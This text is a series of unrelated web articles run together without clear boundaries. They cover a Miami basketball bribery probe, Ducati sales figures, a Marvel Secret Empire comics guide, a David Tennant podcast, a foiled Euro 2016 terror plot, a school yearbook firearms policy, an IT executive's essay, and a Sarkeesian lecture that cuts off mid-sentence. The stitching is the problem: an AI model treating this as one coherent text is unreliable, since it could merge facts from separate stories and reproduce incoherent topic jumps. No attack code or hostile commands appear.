Stuart Z. Grossman, a Coral Gables attorney who is representing Larrañaga, told the Sun Sentinel the coach has turned over phone records and other documents to both school and government officials investigating the Hurricanes men’s basketball team. Their efforts, Grossman says, will help prove that neither Larrañaga nor any member of his coaching staff knew about an alleged payoff being potentially made to a prospect Miami was recruiting. “We are living up to our pledge to cooperate with the government and with the University of Miami from Coach Larrañaga’s point of view by giving them anything and everything they ask for, whether it’s emails, phone receipts, or any documented records that we have,” Grossman said. “And I think it’s impressive because we don’t play games. We’re very straightforward, and we believe that anyone that objectively looks at this, and we’re convinced they will, will conclude that the University of Miami, Coach Larrañaga and his assistants don’t know a thing about this conversation that took place in which a coach was named as supporting some type of payoff to a high school player. “I’m not denying that somebody may have mentioned a coach’s name, but I’m absolutely telling you that none of our coaches were involved in that, in the conversation or in attempted bribery or anything like that.” Federal corruption and bribery charges were filed against 10 people tied to college basketball nationwide last week, including four assistant coaches, Adidas executive Jim Gatto and youth travel basketball coach Jonathan Brad Augustine. In the Department of Justice complaint filed against Gatto, the DOJ alleges that a “Coach-3” from “University-7” had knowledge of a plan to funnel approximately $150,000 to “Player-12,” an unnamed high school basketball recruit set to graduate in 2018 in order to secure that athlete’s verbal commitment to the “University-7.” No Miami coaches were named in the complaint or were arrested, but school president Dr. Julio Frenk confirmed last Wednesday that the U.S. Attorney’s Office was investigating a potential tie between a recruit and a member of the coaching staff at UM, which fit the description of the unnamed “University-7” mentioned in the complaint against Gatto. Grossman said that Larrañaga, like everyone else, learned about the allegations involving the Miami program last Tuesday. And he said the coach has been “devastated” by what has unfolded since. Grossman said Larrañaga has spoken with his three assistant coaches — Chris Caputo, Adam Fisher and Jamal Brunt — and Grossman said the coach remains confident none of them are involved in the matter. “First of all, he was devastated because each individual knows what he or she did or does in broad daylight or in the middle of the night,” Grossman said. “Coach L knew he had not participated in anything like this. So his No. 1 concern was his assistants, had any of the three of them betrayed him, because he loves these guys. And that, I think, hurt him the most. He didn’t know anything other than what he read, and he’s satisfied that none of the assistants did anything. They’re like sons to him. And if you know him, that’s the way he is. He is the father of Miami basketball. … Now, we just sit around and wait and cooperate.” Grossman said he’s uncertain how long the investigation into Miami’s program will go on, but the longer it takes, the greater impact it will have on Miami’s recruiting. The Hurricanes, who had one of their best recruiting classes in program history a year ago and are projected to be a preseason Top 25 team this season, currently do not have any recruits committed in their 2018 class. And at least one top prospect has reportedly said he is no longer considering the program. As the investigation continues, so, too does the preparation for the upcoming season. Miami, which was 21-12 last year and advanced to the first round of the NCAA Tournament, opened practice last Friday. It’s on the court, Grossman said, that Larrañaga and the Hurricanes have found a brief respite from their off-court issues. “Frankly, that’s their best moment of the day, when they can get on the floor and practice and they’ll forget about — for that period of time — what’s going on,” Grossman said. “It weighs on everybody’s minds. It weighs on the coaches’ minds, I’m sure on the players’ minds, you have to reassure them that everything’s going to be OK and whatnot. The saddest part is Coach works all of his life to build a program on his own reputation and you sell it to recruits and they, of course, do their due diligence … come for a campus visit, check out the coaches, this and that and up until this moment, it’s been just flawless under his leadership. Now, you’ve got this taking place and it’s just highly disruptive to the recruiting process. “I would just like the folks out there who believe in the truth and believe in the university to hang in there. We’ll get through this. We’re doing all we can to cooperate.” CAPTION Manny Diaz is introduced as head coach of the Miami Hurricanes and outlines his vision for the program moving forward. Manny Diaz is introduced as head coach of the Miami Hurricanes and outlines his vision for the program moving forward. CAPTION Manny Diaz is introduced as head coach of the Miami Hurricanes and outlines his vision for the program moving forward. Manny Diaz is introduced as head coach of the Miami Hurricanes and outlines his vision for the program moving forward. CAPTION Hurricanes running back DeeJay Dallas discusses some of Miami’s woes. Hurricanes running back DeeJay Dallas discusses some of Miami’s woes. CAPTION Manny Diaz talks Hurricanes defense, Temple job Manny Diaz talks Hurricanes defense, Temple job CAPTION UM’s Ephraim Banda on the changes around UM’s defense. UM’s Ephraim Banda on the changes around UM’s defense. CAPTION Hurricanes coach Mark Richt discusses the end of UM's losing streak ahead of Saturday's regular-season finale against Pittsburgh. Hurricanes coach Mark Richt discusses the end of UM's losing streak ahead of Saturday's regular-season finale against Pittsburgh. ccabrera@sun-sentinel.com; On Twitter @ChristyChirinos. -Ducati Motor Holding is reporting another record sales year, and that the Italian motorcycle manufacturer sold 45,100 bikes in 2014. This marks the fifth year in a row that Ducati has shown sales growth, and it’s the third year in a row that the sales figures have been an all-time record for the Italian brand. Sales for 2014 were up 2% over 2013, with the USA again leading as Ducati’s most important market (8,804 units sold in the USA). Unsurprisingly, the Asian market is growing quickly for Ducati as well, up 11% in 2014. Ducati attributes its sales growth in-part to its new water cooler Monster line, where the Ducati Monster 1200 and Ducati Monster 821 helped raise Monster sales by 31%, with 16,409 new bikes sold in 2014. The Ducati 899 Panigale helped the Italian company’s Superbike line reach a 12% growth overall, with 9,788 bikes sold in 2014 — 5,806 of those superbikes were Ducati 899 Panigales, up 74% over 2013 (readers will remember that the 899 had a early-autumn launch). Geographically, Ducati saw sales increases in Mexico (8%) and Brazil (74%, 1,174 bikes). Sales in Europe however were down 3%, with only 19,743 bikes sold in 2014. This sales drop was due mainly to specific markets, namely Italy, where sales were down 14% at 4,284 units. Sales in the UK however were up 16%, with 2,742 bikes sold. In other markets, Ducati sold 5,787 bikes in Asia, with Thailand leading growth with its 22% gain (3,057 units). Sales in China doubled, but no unit figures were given for this market by Ducati. Australia was up 13% with 2,132 bikes sold, and Japan was up 1% with 2,558 bikes sold. Source: Ducati -Secret Empire Tie-ins (ongoing series) In this post: Amazing Spider-Man Vol 4 #29 – 31 Occupy Avengers #8 – 9 Champions Vol 2 #10 – 11 X-Men: Blue #7 – 9 Previous Posts: Tales from Inside Hydra Avengers #9 – 10 U.S. Avengers #6 – 9 Deadpool Vol 4 #31 – 35 Under the Darkforce Dome Uncanny Avengers Vol 3 #24 – 25 Doctor Strange Vol 4 #21 – 24 X-Men: Gold Vol 2 #7 – 8 Beyond the Defense Shield Ultimates 2 Vol 2 #7 Mighty Captain Marvel #5 – 8 All-New Guardians of the Galaxy Annual #1 Amazing Spider-Man #29 – 30 Background: Tie-in Synopsis: Issue 29 As the issue opens, Peter Parker is London preparing to do an interview about the recent involvement of his companies involvement in the liberation of Symkaria. Peter’s publicist, who knows he is Spider-Man, tells him that now is the time for Peter Parker, Spider-Man and no matter what he has to do this interview for the sake of the company. Shortly after the interview begins, the news that the Alpha Flight Station is under attack by a wave of Chitauri and the Masters of Evil are attacking Manhattan. The newscaster tells Peter that interview is over so they can cover these two events as they unfold. Peter is understanding and returns to the Parker Industries office. When he arrives his Spider-sense tells him something is wrong so he suits up as Spider-Man, Peter Parker’s bodyguard and goes inside. Once inside he realizes that things are amiss and it turns out that they are all Hydra agents. Before they can attack, a voice tells them to stand down and tells Spider-Man to come into Parker’s office… Sitting at the desk is who proceeds to ask Peter to peacefully transfer the control of Parker Industries to him, since as he says it basically his inventions that Peter is profiting from his inventions. Sidenote time: Most people reading this probably know but just in case, Doc Ock at one point transferred his consciousness into Peter’s body and Peter’s into his comatose body. While Doc Ock was in Peter’s body he went by the Superior Spider-Man. ..or something along those Of course, Peter refuses and Doc Ock shows him a news report about the Darkforce Bubble over Manhattan and Parker Industries is responsible. Of course, the two start fighting after Parker refuses to give into his demands. Spider-Man also receives Tony’s message about Hydra’s assault on Washington D.C. Peter jumps in his rocket and heads to D.C. to help as Doc Ock leaves also destroying the Parker Industries building in the process. Issues 30 – 31 The book open with the scene of the heroes defeated and Hydra-Cap holding Thor’s Hammer. Spider-Man orders the other heroes to retreat, taking Mockingbird with him. Once they are back at his plane, Mockingbird says that need to start a resistance but Spider-Man says he has to stop Doc Ock from taking over Parker Industries as Hydra sees it as either a threat or asset to their plans. Doc Ock is at the San Francisco Parker Industries building where he is greeted by some X-Men who are also laying claim to the building. The X-Men allow Ock in after he threatens future Hydra entanglements with the mutant nation that Hydra-Steve has allowed to exist. Peter decides to make his stand in Shanghai and sets plans in place in case things don’t go in his favor. When Doc Ock shows up and Peter uses his Spider vehicles to try and take him down, Peter learns that Doc Ock has hacked all his vehicles and has complete control over them. After Peter realizes he can’t beat Doc Ock, he uses the “nuclear option” and shuts down and destroy all the research the company was doing so it didn’t fall into Hydra’s and Doc Ock’s control. In the last page, Doc Ock is back at the Hydra base How does it tie-in to the overall Secret Empire storyline and when does it take place? The tie-in story takes place at the beginning of the Secret Empire event. Issue #29 takes place around Secret Empire #0 and Issue# 30 and 31 take place after the events of the Secret Empire FCBD comic and before the Secret Empire #1. Is it necessary to read to understand the read Amazing Spider-Man to understand what is happening in the larger story? As things stand in the event at this moment, not really. At most, it explains why Peter has not been seen after the events in Washington D.C. and sets up Doc Ock up as a member of the Hydra-Avengers. It is also the way the new Superior Doc Ock is reintroduced back into continuity. It would be nice to know why Hydra-Cap wanted Parker Industries taken off the board… was it important or was he just being a dick. — — — — — — — — — — Occupy Avengers #8 – 9 Background: Super heroes – they’re a privileged class. Doing what they want, when they want and suffering no consequences. They have no regard for the ordinary people who are left behind to suffer in their wake. Who will stand up for the little guy? There is a man. If you can find him, and if he believes in your story, he and his friends will put things right. Some call them outlaws, rebels, Robin Hoods. To others, they are heroes. No powers to speak of – just skills, smarts and a burning drive to do the right thing. His name is Hawkeye. Occupy Avengers: It’s time to “Take Back Justice”! Tie-in Synopsis: After Hawkeye leaves to go lead the Resistance, the Occupy Avengers team is left to help the common folk who are being terrorized by the Hydra forces. Hydra has been forcing farmers to send their goods elsewhere and the people who depend on them are left to fend for themselves. Hawkeye tasks the team with making sure that the people who need the food get it which means hijacking a food convoy and locating one of Nick Fury’s secret bases for supplies that the resistance needs. The team splits up and makes their stand against the Hydra forces after they retrieve the weapons that Hawkeye knows that Nick Fury has stashed away. How does it tie-in to the overall Secret Empire storyline and when does it take place? The story seems to fit best after the events of Secret Empire #0 and before Secret Empire #2. One of the clues is the fact that The Champions are still at The Mound and Natasha has yet to recruit them for her Red Room. Is it necessary to read to understand the read Occupy Avengers to understand what is happening in the larger story? Not really, now I will admit that these two issues are the only ones I have read of the series aside from Issue #1 when it first came out so I have no real knowledge of the characters involved but at the same time it wasn’t hard to pick up, read, and understand the situation these heroes found themselves in once Hawkeye left to led the Resistance. — — — — — — — — — — The Champions #10 – 11 Background: Following the fallout of CIVIL WAR II, Avengers Ms. Marvel, Nova and Spider-Man strike out on their own — joined by Cyclops, Viv Vision and the Totally Awesome Hulk! Six young heroes determined to change the world — and they`re only the beginning! Tie-in Synopsis: Issue #10 The issue begins inside one of the Hydra Camps for the Inhumans which looks like a normal neighborhood. The scene shifts to Viv Vision, Amadeus Cho (Hulk), and Miles Miguel (Spider-Man) searching the Dark Web for information as to the where about of Ms. Marvel. They know that Cyclops is with his X-Men team, Nova is trapped in space outside the Defense Sheild, but fear Ms. Marvel is in a relocation camp. Viv finds the location of one of the camps, which it turns out Amadeus helped design as a place where they could put Banner and keep him from changing into The Hulk. The Champions break into the relocation center hoping to free the Inhumans but are surprised when none of them want to leave. Instead of freeing the Inhumans, Amadeus and Viv rewire the power grid using Viv’d ability to turn invisible to hide the town so that the Hydra reinforcements can’t find it. As a way of saying ‘Thank You,’ one of the Inhumans promise that they will use their abilities to search for Ms. Marvel and will contact the Champions if they find anything. Issue #11 The issue begins with the Champions searching thru the rubble of Las Vegas following Hydra’s attack. The Champions are joined by Falcon, Wasp, Ironheart and Rayshaun Lucas, the new Patriot. The team has split up to search for survivors. Falcon and Hulk are searching the North part of the city. As they are searching, Hulk is trying to keep his hopes up by trying to calculate the probability that they are going to find survivors. The rescue effort to the South is Ironheart, Spider-Man, and Patriot. The three find an airplane that has crashed, when they open it up, they find that the people inside were cooked alive from the blast of the attack. Patriot, who is on his first outing as a superhero, is having a difficult time dealing with the carnage and hopelessness. The rest of the team is having just as much luck. After they regroup, they begin to question what they are really doing fighting against Hydra. Suddenly they hear a noise which turns out to be Patriot, who has found a baby that survived the attack. This raises the team’s spirits as they head back to The Mound. How does it tie-in to the overall Secret Empire storyline and when does it take place? Issue #10 takes place between the FCBD issue and Secret Empire #1. As covered in the last post on the Secret Empire event, Ms. Marvel’s story that takes place over in Secret Warriors and Scott “Cyclops” Summers. Issue #11 takes place during the first few pages of Secret Empire #2 before The Champions decide to follow Natasha’s plan to kill Steve Rogers. Is it necessary to read to understand the read The Champions tie-ins to understand what is happening in the larger story? Again these issues are probably not important in the overall story. While I enjoy The Champions I feel that the way the characters are written in the Secret Empire issues is almost opposite of the way series writer Mark Waid handles them in the event. In their own series, there is a sense of proactiveness and helping those affected by the Hydra takeover, whereas in the Secret Empire series they are more than willing to at least go with the plan that involves killing (yes, they do try to temper Black Widow’s responses and plan, but are still willing to be accomplices to her assassination plans). Issue #10 does give more insight into the plight of the Inhumans’ situation under the Hydra rule, but has a more positive outcome then is displayed throughout the rest of the event for the Inhuman race. There is no mention as to if The Champions continue to look for Ms. Marvel or just assume that she is somewhere else (okay so maybe Las Vegas getting leveled puts a damper on finding Ms. Marvel) that but it would have been nice for the two issues tied together rather than being two one-and done Another small nitpick would be that in Secret Empire #2 they find some survivors in Vegas, in The Champions they only find the baby, ending the story on an upbeat positive note rather than the doom and gloom of the main Secret Empire title. Then again who am I to tell Mark Waid how to write a comic book Then again who am I to tell Mark Waid how to write a comic book? I guess I am just looking for a consistent tone to go along with the main story. — — — — — — — — — — X-Men: Blue #7-9 Background: Tie-in Synopsis: The time-displaced young X-Men, who are being helped by Magneto, find themselves at odds with the leadership of the sovereign mutant nation of New Tian, where humans and mutants are supposed to be living in harmony. However, those that dissent against the new regime is being unfairly incarcerated and punished, which the young X-Men won’t stand for. The team has been operating in New Tian, freeing those unjustly imprisoned. Emma Frost, the true ruler of New Tian, sends a strike force of Mutants led by Havok to capture the young X-Men and stop their rebellion. Cyclops, Beast, Angel, and Iceman are captured and while Jean and Jimmy Hudson (alternate universe son of Wolverine) must rescue them. Upon learning that some of the young X-Men have been captured Magneto, says that he plans to honor his promise to Hydra-Cap not to get involved with the mutant nation, but he has ways he can help rescue the captured X-Men. Speaking of the captured X-Men, Emma Frost is trying to turn the young Scott Summers into the recently killed Scott Summers by mentally torturing him and trying to rewrite his brain. Jean and Jimmy are able to rescue their teammates with the help of Polaris (Magneto’s daughter) and the mutant Danger (which turns out is also the Blackbird and Danger Room). Emma tries to use Scott against his teammates but Jean is able to prevent her from doing so even though Emma’s powers are being boosted by the Cosmic Cube shard she possesses. Jean is also able to temporarily release Xorn from Emma’s control. Following the events in New Tian, Captain America confronts Magneto: How does it tie-in to the overall Secret Empire storyline and when does it take place? The X-Men: Blue issues are the only other comics that focus on the events taking place in the mutant nation of New Tian besides those in Secret Empire: United and the main series. Where this story takes place in the timeline is kind of tricky to place, but if I had to I would say that it happens sometime after the events of Captain America #25 but before Emma surrenders here Cosmic Cube shard. Here is why: Secret Empire: United Xorn is established as the Ruler of New Tian at the beginning of the issue At the end of the one-shot Hydra-Cap reveals that he knows Xorn is a puppet of Emma Beast gives no indication that he is aware of Emma’s presence or manipulation of Xorn here or when he and Hydra-Cap meet in Washington DC and Cap tells Beast that if he wanted he could take Thor’s hammer and crush New Tian. In X-Men-Blue #7, the mutant Random is one of the mutants the team liberates from the prison. Random was also part of the group that attacked the Hydra border at the beginning of Secret Empire: United. In Captain America #25 when the members of the Hydra High Council demand to speak to the ruler of New Tian, the other mutants assume they have come for Xorn. When Emma reveals herself, there is a lot of surprise from Beast. X-Men: Blue #7 Emma seems to be the one in control here and through out the story arc and it is even mentioned that Jean is able to break Emma’s control over Xorn temporarily. Is it necessary to read to understand the read X-Men: Blue to understand what is happening in the larger story? Unless you are already reading X-Men: Blue or just want to find out what is happening with the mutants in New Tian, then you really don’t need to read these issues. Like I said above, it is hard to pinpoint where these issues would fit in the overall story as the X-Men are more of a side story in this event. — Next post will probably cover Secret Empire #9 and the Secret Empire: Brave New World -A new episode of David Tennant’s podcast series David Tennant Does A Podcast With... is now live. This week David's guest is the American actor and producer Jon Hamm. Jon is perhaps best known for his role as Don Draper in the worldwide hit TV drama Mad Men for which he received critical acclaim and won multiple awards including a Golden Globe and Screen Actors Guild Award. Jon has also received 16 Primetime Emmy Award nominations for his performances in or production of Mad Men, 30 Rock and Unbreakable Kimmy Schmidt. In the podcast Jon talks about the trial and tribulations of Hollywood and how the success of Mad Men changed his life. You can see him next in Amazon Prime’s Good Omens as Archangel Gabriel when’s it drops on 31st May. Produced by Somethin’ Else and No Mystery with Georgia Tennant, new episodes of David Tennant Does A Podcast With... will be released on Tuesdays. Expect revealing conversation, surprise stories and lots of laughs as David chats to the likes of Micha… -An 'immigrant hating' Frenchman who planned 15 mass attacks on the Euro 2016 football championship was today facing a range of terrorist charges after being arrested in Ukraine. Police announced the arrest of the 25-year-old, identified as Gregoire Moutaux, on the day the England team flew into Paris ready for the tournament's kick off on Friday. 'Gregoire was armed to the teeth and ready to strike,' said a source close to the investigation, who said details of targets emerged during questioning. Scroll down for video An 'immigrant hating' Frenchman who planned 15 mass attacks on the Euro 2016 football championship was today facing a range of terrorist charges after being arrested in Ukraine (pictured) Ukraine police said he had massed a 'vast arsenal' including five Kalashnikov assault rifles, two anti-tank grenade launchers, 5000 rounds of ammunition and 125kg of TNT explosives A source close to the investigation said the 25-year-old suspect was 'armed to the teeth and ready to strike' Police announced the arrest of the 25-year-old, identified as Gregoire Moutaux, on the day the England team flew into Paris ready for the tournament's kick off on Friday The 'far-right nationalist', who originally comes from Bar-le-Duc, near Reims, in northeast France, was arrested on Ukraine's border with Poland on May 21st. Ukraine police said he had massed a 'vast arsenal' including five Kalashnikov assault rifles, two anti-tank grenade launchers, 5000 rounds of ammunition and 125kg of TNT explosives. 'He could have caused carnage,' said the source, who also described Moutaux as 'a farm worker from the Lorraine district of France, who objected to his country being taken over by immigrants.' Moutaux was a confirmed Islamophobe and anti-Semite, and specifically wanted to targets mosques, synagogues, and 'large crowds building up around Euro 2016.' Vasyl Grytsak, of the SBU Ukrainian security service, said: 'We were able to prevent fifteen terrorist acts that were planned in France on the eve of and during the European Championship football.' The suspect had allegedly bought a series of weapons including machine guns, explosives and grenade launchers Ukraine police said he had massed a 'vast arsenal' including five Kalashnikov assault rifles, two anti-tank grenade launchers, 5000 rounds of ammunition and 125kg of TNT explosives The Frenchman arrived in eastern Ukraine last year and was 'trying to establish ties with Ukrainian troops under the guise of volunteering,' the Ukrainian agency said He confirmed Moutaux aimed 'to blow up a Muslim mosque, a Jewish synagogue, tax collection organisations, police patrol units and numerous other locations'. Mr Grytsak added: 'He obtained five Kalashnikov rifles, more than 5,000 bullets, two anti-tank grenade launchers, 125 kilogrammes (275 pounds) of TNT, 100 detonators, 20 balaclavas and other things.' Moutaux was particularly opposed to France's policy of allowing in migrants, the spread of Islam and globalisation, said Mr Grytsak. Soon after Moutaux's arrest in Ukraine, a raid was carried out at his home in France. There officers found Neo-Nazi t-shirts, as well as chemicals used to produce explosives and five balacalvas. He had no criminal record. He is believed to have travelled to Ukraine, one of the most unstable states in the world at the moment, because it is so easy to pick up arms and explosives. Ukrainian agents had been following the man since December, and allowed him to buy a series of weapons The Paris prosecutor's office, which handles terrorism cases at a national level, said no investigation had been opened yet Moutaux was particularly opposed to France's policy of allowing in migrants, the spread of Islam and globalisation, said Ukraine authorities Despite this, locals in Nant-le-Petit, which has a population of just 80 people, described Moutaux as a 'polite and pleasant lad'.. Mayor Dominique Pensalfini-Demorise said: 'He was a kid who was pleasant to his neighbours, intelligent and kind.He was always ready to help people.' British football fans will risk an unprecedented security threat when they travel to France for Euro 2016 this week. It follows warnings from a range of security agencies, ranging from the U.S.. State Department to French police that Islamic State terrorists are planning to strike. Marseille commander Laurent Nunez said the Three Lions 'opening match against Russia on Saturday in in the Mediterranean port city was 'a particularly high risk'. Suggestions that the city will be attacked emerged on a computer belonging to Salah Abdeslam, the only surviving member of the ISIS death squad that hit Paris last November. The 'far-right nationalist', who originally comes from Bar-le-Duc, near Reims, in northeast France, was arrested on Ukraine's border with Poland on May 21st Ukraine authorities said Moutaux 'aimed to blow up a Muslim mosque, a Jewish synagogue, tax collection organisations, police patrol units and numerous other locations' French regional newspaper L'Est Republicain identified the man as Gregoire Moutaux and said investigators raided his home (pictured) in Nant-le-Petit near the eastern city of Nancy in late May. It managed to murder 130 people, with suicide bombers exploding their devices around the Stade de France during a football friendly between France and Germany. Abdeslam is currently on remand in a high-security prison in Paris, and has confirmed that ISIS want to attack again, while the eyes of the world are on France during Euro 2016. France remains under a State of Emergency following last November's attack, with thousands of soldiers joining police on the streets. SOUTH AFRICA INSISTS 'NO IMMEDIATE DANGER' DESPITE TERROR WARNING South Africa has moved to allayed fears after Washington warned Americans of a possibly imminent terror attack by Islamic extremists in the country's major cities. 'We remain a strong and stable democratic country and there is no immediate danger,' State Security Minister David Mahlobo said in a statement. The United States on Saturday said it had received information that terrorist groups were planning to carry out attacks in South Africa during the Muslim holy month of Ramadan. The warning said attacks may target sites frequented by US citizens, including high-end shopping areas and malls in the economic hub of Johannesburg and Cape Town, which is popular with tourists. It came against the background of ISIS' 'public call for its adherents to carry out terrorist attacks globally during the upcoming month of Ramadan,' the US embassy in South Africa said. But the South African government played down the threat. State security ministry spokesman Brian Dube said authorities have not stepped up security following the alert. He said: 'Our information has not necessarily confirmed what has been raised by the Americans.' This is the second alert the US has issued for South Africa in under a year and was followed by British government travel advice, cautioning against a 'high threat from terrorism' in South Africa. 'Attacks could be indiscriminate, including in places visited by foreigners such as shopping areas in Johannesburg and Cape Town,' said the online foreign travel advice. South Africa has so far escaped the jihadist attacks seen in several other African countries. But according to Robert Besseling, Executive Director at Ex Africa Business Risk Intelligence, a threat of Islamist terrorism in South Africa was real. 'A successful terrorist attack in South Africa is feasible, given police ineffectiveness, serious weaknesses within the intelligence apparatus, and the lack of a counter-terrorism strategy,' he said in a statement. However, a local analyst said South Africa's neutral foreign policy did not place it at risk. 'We don't have a history of terrorism here, we have got a foreign policy that's quite neutral, we don't engage in any counter-insurgency operations either on the continent or elsewhere that would place us in at risk of retaliatory attacks,' said Ryan Cummings, an analyst with Cape Town-based Signal Risk think tank. Elite special forces will be on hand to deal with possible terrorist incidents, scrambling to danger zones in a matter of minutes. French authorities have extended a state of emergency until the end of the tournament, as well as the Tour de France cycling race, which will be held from July 2 to July 24. Some 2.5 million football fans are expected in stadiums, including 1.5 million foreign visitors. Yesterday, French President Francois Hollande said that the threat of extremism won't stop the European Championships from being successful. Elite special forces will be on hand to deal with possible terrorist incidents, scrambling to danger zones in a matter of minutes. Police are pictured outside the Stade de France in Paris in March A French citizen arrested on the Ukrainian-Polish border with 125kg of explosives was planning a string of attacks in France to coincide with Euro 2016, it has emerged. French forensic officers take part in a mock terror attack drill outside the Stade des Lumieres, near Lyon earlier this week Hollande said in an interview on Sunday with France Inter radio that precautionary measures throughout the matches, including a 90,000-strong security force, will ensure the matches scattered in 10 French cities are safe. Hollande said France decided to go ahead with Euro 2016 despite two waves of attacks last year, and make it a 'festival for people and for sports.' But he said that spectators at the month-long tournament must accept security checks as they enter stadiums and fan zones. -- Big Lake High School has made an amendment to its policy over the display of guns in yearbook photos, and the Big Lake Trap Team photo will now be included. Trapshooting coach Rhonda Eckerdt said she learned Wednesday from the athletic director that the team picture wouldn’t be included in the yearbook because it's against school policy to show firearms in photos. The team, coaches, parents and community members said the guns are a piece of sporting equipment – do different from a baseball bat – and should be part of the photo. The issue was expected to be raised by parents during a school board meeting Thursday night, but Thursday morning the school made an exception for the trap team and will allow the photo. This year’s photo was particularly special because it was the first year the team has its photo in the current yearbook, and the first year ever that all team members were included in the photo. Big Lake Schools statement on policy change The Big Lake Schools administration accepted a request this morning to change a handbook policy concerning the display of guns in yearbook photos. The past policy said the administration may edit or exclude any photos or artwork that displayed firearms or weapons. Once the procedure for modifying a handbook policy was followed, the district was able to amend the policy so that the school-sponsored Trap Shooting team photo can be included. It is important to remember that a school district has rules and procedures that need to be followed. The intense conversation around this topic on social media and the phone calls and emails we received, only delayed the process. We encouraged the public to follow the process when a request is being made to review a rule or policy. As always, we appreciate feedback and comments from the public. Policy Amendment All photos, written text, and artwork must conform to school policies and are subject to approval by the yearbook advisor and/or administration. Photos and artwork that violate school policy, display firearms, weapons, drugs, alcohol, inappropriate gestures or poses, and revealing or obscene clothing may be edited or excluded without permission or notification. Exception given to our school-sponsored trap-shooting team which will be allowed to have team pictures in the yearbook, team poster displayed in the school, and any approved photos taken by yearbook staff. These photos would include their firearms. -When I see what some companies are doing these days with cloud and big data, I often wonder whether technology has ever been focused on business value in their organizations. I’ve worked primarily in industries where technology had to deliver business value or it was a non-starter. These days it is no longer sufficient to be a technologist that is simply putting bits and bytes together. Today it’s all about how those bits and bytes add value. Defining how a new technology approach will add value is the role of an IT executive, but that’s where too many executives drop the ball. Removing the Bias from Big Data With cloud and big data in particular I think there’s a real danger in buying into the hype without understanding the implications. If you do that, it’s almost certain you will make bad decisions. With big data, the risk is that you find the answer you’re looking for –whatever it is. It’s a psychological fact that if you have a preconceived notion, data will help drive to that point of view. If you say, “What is impacting my sales growth…and by the way I think it’s poor product performance,” you’re magically going to get a lot of data coming in about poor product performance and it will validate that notion. This predictive bias often ends up being an organizational, structural, and mindset issue. Big data is really about measuring what matters versus measuring what’s measurable. And to be honest there are not enough good data scientists out there. So it can still be more dangerous to do big data than not. It’s accessible to anyone now, but sometimes you want to take the keys away from people so they don’t hurt themselves. You may be better off taking a more cautious path than diving into the deep end, but at a minimum go in with eyes wide open. Cloud Initiatives Beg for Clarity In the same way, you can’t decide to be a cloud-first organization without deciding what cloud first should mean for you. Does it mean Platform-as-a-Service or email? Does it mean development or delivery? If you don’t get into the right level of detail, you’re sending your teams into blood fights to battle for what they want, versus what the strategic direction is. Leaders need to take a more active role in getting into the details of what is meant by these strategic decisions. You don’t want to micromanage things, but at a very minimum you should be sending teams off to come back with the critical decisions that need to be made and have those discussions and make those decisions at the right levels. If the bosses are not aligned the employees will be wasting precious time fighting losing battles. Sometimes it’s easier not to have fights with your peers, but that just means you’re leaving it for your employees and that is simply cowardice. Forcing uncomfortable discussions about what a cloud or big data strategy means and then getting into the detail is often the better course to take. Executives have to drill in to get agreement at the deeper levels. They have to make the hard decisions. If you’ve got three bosses that aren’t aligned, it’s patently unfair to expect their teams to get aligned. So if you have to have uncomfortable conversations, have them. Even Agile Can Slow You Down There’s a faddish IT dynamic out there across a lot of things. Look at agile. There isn’t a developer or development organization out there today saying, “I’d really prefer to be doing waterfall.” The problem is, most of the architectures they’re working on don’t lend themselves to agile. If you work in an agile model in a fragile architecture, things are likely to break. You don’t want DevOps guys making minimum marketable changes in a legacy, tightly coupled architecture. But nobody wants to do waterfall, so you get sprawl of organizations saying we do agile. What they often want is to do waterfall with limited documentation and agile practices, which is going to cause more problems than do good. There may be a fear you can’t get the right talent. There’s a real passion that says, “I can’t get the talent I want unless I’m doing agile.” Then organizations do agile but don’t have real product managers and they aren’t really managing stories. You’re doing some things, but not in a way that’s valuable. Yes, you can dive into an IT fad without thinking about it, but I can promise you’ll look back and be horrified someday. The only time you can fully adopt some of these new methods is when you are starting from scratch. Most of us don’t have that luxury because we are working with legacy architectures and technical debt so you have to play hand you’ve been dealt, communicate well, set clear and measurable outcomes, and use these fads to thoughtfully supplement the environment you are working in to benefit the ecosystem. Read this Harvard Business Review article, "Beware the next big thing." Sven Gerjets is Chief Technology Officer at Pearson, the world’s leading learning company, with 40,000 employees in more than 80 countries. He brings 20 years of IT experience to his role, including application development, system integration, enterprise program management, and large organization leadership. -Sarkeesian criticizes gaming tropes By Max Moran | Published 6 hours ago | Updated 6 hours ago On Monday, the University welcomed media critic Anita Sarkeesian for a lecture on sexist and anti-feminist tropes in video games. The lecture had initially been planned for February, but it had to be rescheduled due to major snowfall that caused travel problems. Sarkeesian is the host and co-writer of “Feminist Frequency,” an online video series deconstructing sexist tropes in media, particularly video games. Since her work discussing games began, she has been the subject of online harassment, including rape and death threats, hacking and identity theft. Sarkeesian was one of the major targets of the “Gamergate” movement, which is a reaction against media trends toward diversifying gaming culture and criticizing the “gamer” identity. Previous Sarkeesian talks in other venues have received bombing and mass shooting threats, which may have been why audience members passed through a metal detector before entering the Wasserman Cinematheque to hear the lecture. Chairman of the Computer Science department Prof. Jordan Pollack (COSI) introduced Sarkeesian, stating his pleasure at the lecture’s co-sponsors, and pointing out that “it’s not often that computer science works together with the various women’s studies groups on campus.” Pollack said he was inspired to invite Sarkeesian to speak at the University after a colleague suggested that more women and people of color might be inspired to pursue computer science if the University’s department taught game programming and design, and Sarkeesian’s story stood out to Pollack. “I believe a modern university must study and teach video games as a multidisciplinary media,” Pollack said. Sarkeesian then took the stage, beginning with what she said was a simple assertion: “video games matter.” She said that while it is not “a simple one-to-one correlation,” the media that people consume influences them, which is why criticism, especially feminist criticism, is important. Sarkeesian said she started Feminist Frequency because she was frustrated at the inaccessibility of feminist thought she discovered in college and wanted to use pop culture as a way to engage a wider audience with feminism. Her first series of Feminist Frequency videos dissected tropes in pop culture at large, and after they found moderate success, she decided to release a second series. Noticing that almost all of the tropes she was interested in were prevalent in video games, Sarkeesian decided that this series of videos would specifically discuss tropes in gaming. Next, Sarkeesian briefly discussed the online harassment she’s received for her work, though she stressed that she didn’t want to talk about harassment for the majority of the lecture. She characterized her harassers as a “cyber mob,” — a group which collectively shames and discredits its target with the underlying goal of reinforcing their own dominance within a given culture, in this case, gaming. Sarkeesian asserted that Gamergate is an extension of this same mob mentality and that it works to maintain the status quo of games being made primarily for men. She then compared the exclusion of women in gaming to the common stigma within gaming that certain games are not played by “true gamers.” “The idea that you can love something and be critical of it at the same time is so important to what I do,” Sarkeesian told the audience as she transitioned into the heart of the lecture with a slide reading “8 Ways To Improve Games For Women.” She listed eight tropes in gaming plots and presentation that portray women negatively and offered solutions and examples of games which have avoided the tropes. The first trope was the “Smurfette Principle,” wherein a story has 